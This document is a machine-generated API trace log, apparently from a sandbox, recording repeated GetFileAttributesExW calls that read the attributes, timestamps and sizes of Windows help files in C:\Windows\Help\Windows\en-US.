	[0086.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\multimon.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\multimon.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fc28 | out: lpFileInformation=0x1240fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6ffa)) returned 1
	[0086.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\netproj.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\netproj.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fc78 | out: lpFileInformation=0x1240fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa02a)) returned 1
	[0086.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\netvsta.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\netvsta.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fcc8 | out: lpFileInformation=0x1240fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed605e4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xed605e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2eed0)) returned 1
	[0086.816] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\netw.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\netw.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fd18 | out: lpFileInformation=0x1240fd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6068)) returned 1
	[0086.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\netwl.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\netwl.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fd68 | out: lpFileInformation=0x1240fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec7b58e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xec7b58e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe181)) returned 1
	[0086.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\network.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\network.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fdb8 | out: lpFileInformation=0x1240fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa1f0)) returned 1
	[0086.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\netwpr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\netwpr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fe08 | out: lpFileInformation=0x1240fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc66e)) returned 1
	[0086.817] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\offline.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\offline.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fe58 | out: lpFileInformation=0x1240fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc6d1)) returned 1
	[0086.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\parent.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\parent.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fea8 | out: lpFileInformation=0x1240fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1189db76, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x1189db76, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19e80)) returned 1
	[0086.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\peopcom.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\peopcom.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240fef8 | out: lpFileInformation=0x1240fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8e28)) returned 1
	[0086.818] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\perf.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\perf.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ff48 | out: lpFileInformation=0x1240ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x117dc)) returned 1
	[0086.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\playing.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\playing.h1s"), fInfoLevelId=0x0, lpFileInformation=0x1240ff98 | out: lpFileInformation=0x1240ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x367fe)) returned 1
	[0086.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\presset.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\presset.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690008 | out: lpFileInformation=0x12690008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x64c8)) returned 1
	[0086.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\print.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\print.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690058 | out: lpFileInformation=0x12690058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x24588)) returned 1
	[0086.819] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\printp.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\printp.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126900a8 | out: lpFileInformation=0x126900a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6da0)) returned 1
	[0086.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\privacy.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\privacy.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126900f8 | out: lpFileInformation=0x126900f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12515)) returned 1
	[0086.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\pwrmgm.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\pwrmgm.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690148 | out: lpFileInformation=0x12690148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc7b00, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xecc7b00, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x26508)) returned 1
	[0086.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\ra.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\ra.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690198 | out: lpFileInformation=0x12690198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x18008)) returned 1
	[0086.820] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\rd.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\rd.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126901e8 | out: lpFileInformation=0x126901e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9afe)) returned 1
	[0086.821] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\rdb.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\rdb.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690238 | out: lpFileInformation=0x12690238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2cf21)) returned 1
	[0086.821] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\recycle.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\recycle.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690288 | out: lpFileInformation=0x12690288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x868d)) returned 1
	[0086.821] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\restore.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\restore.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126902d8 | out: lpFileInformation=0x126902d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcad4f4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcad4f4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1adf3)) returned 1
	[0086.822] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\ripbsyn.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\ripbsyn.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690328 | out: lpFileInformation=0x12690328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x277e3)) returned 1
	[0086.822] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\safemodc.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\safemodc.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690378 | out: lpFileInformation=0x12690378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed605e4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xed605e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16fc0)) returned 1
	[0086.822] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\seccntr.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\seccntr.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126903c8 | out: lpFileInformation=0x126903c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb1eb)) returned 1
	[0086.823] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\secpol.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\secpol.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690418 | out: lpFileInformation=0x12690418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xedce)) returned 1
	[0086.823] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\secpriv.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\secpriv.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690468 | out: lpFileInformation=0x12690468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe447fcf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe447fcf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x74f67)) returned 1
	[0086.823] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\sharing.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\sharing.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126904b8 | out: lpFileInformation=0x126904b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x14489)) returned 1
	[0086.823] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\shgloss.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\shgloss.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690508 | out: lpFileInformation=0x12690508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5f60c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a5f60c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5bf92)) returned 1
	[0086.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\shreuse.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\shreuse.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690558 | out: lpFileInformation=0x12690558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x41299)) returned 1
	[0086.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\sniptoo.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\sniptoo.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126905a8 | out: lpFileInformation=0x126905a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9d42)) returned 1
	[0086.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\speech.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\speech.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126905f8 | out: lpFileInformation=0x126905f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x27f6e)) returned 1
	[0086.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\storage.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\storage.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690648 | out: lpFileInformation=0x12690648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x54b85)) returned 1
	[0086.824] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\sync.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\sync.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690698 | out: lpFileInformation=0x12690698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65a)) returned 1
	[0086.825] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\sysman.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\sysman.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126906e8 | out: lpFileInformation=0x126906e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4d16f)) returned 1
	[0086.825] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\tablet.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\tablet.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690738 | out: lpFileInformation=0x12690738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae47c2bc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x30797)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\touch.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\touch.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690788 | out: lpFileInformation=0x12690788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118c3e2f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x118c3e2f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9cb9)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\uap.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\uap.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126907d8 | out: lpFileInformation=0x126907d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19819)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\vidclip.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\vidclip.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690828 | out: lpFileInformation=0x12690828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed605e4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3bd691, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xed605e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x613b)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\video.H1S" (normalized: "c:\\windows\\help\\windows\\en-us\\video.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690878 | out: lpFileInformation=0x12690878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae34af44, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55bb)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\wasw.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\wasw.h1s"), fInfoLevelId=0x0, lpFileInformation=0x126908c8 | out: lpFileInformation=0x126908c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae397422, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ee16)) returned 1
	[0086.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Help\\Windows\\en-US\\wer.h1s" (normalized: "c:\\windows\\help\\windows\\en-us\\wer.h1s"), fInfoLevelId=0x0, lpFileInformation=0x12690918 | out: lpFileInformation=0x12690918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46e288, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae3711b3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe46e288, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x19286)) returned 1
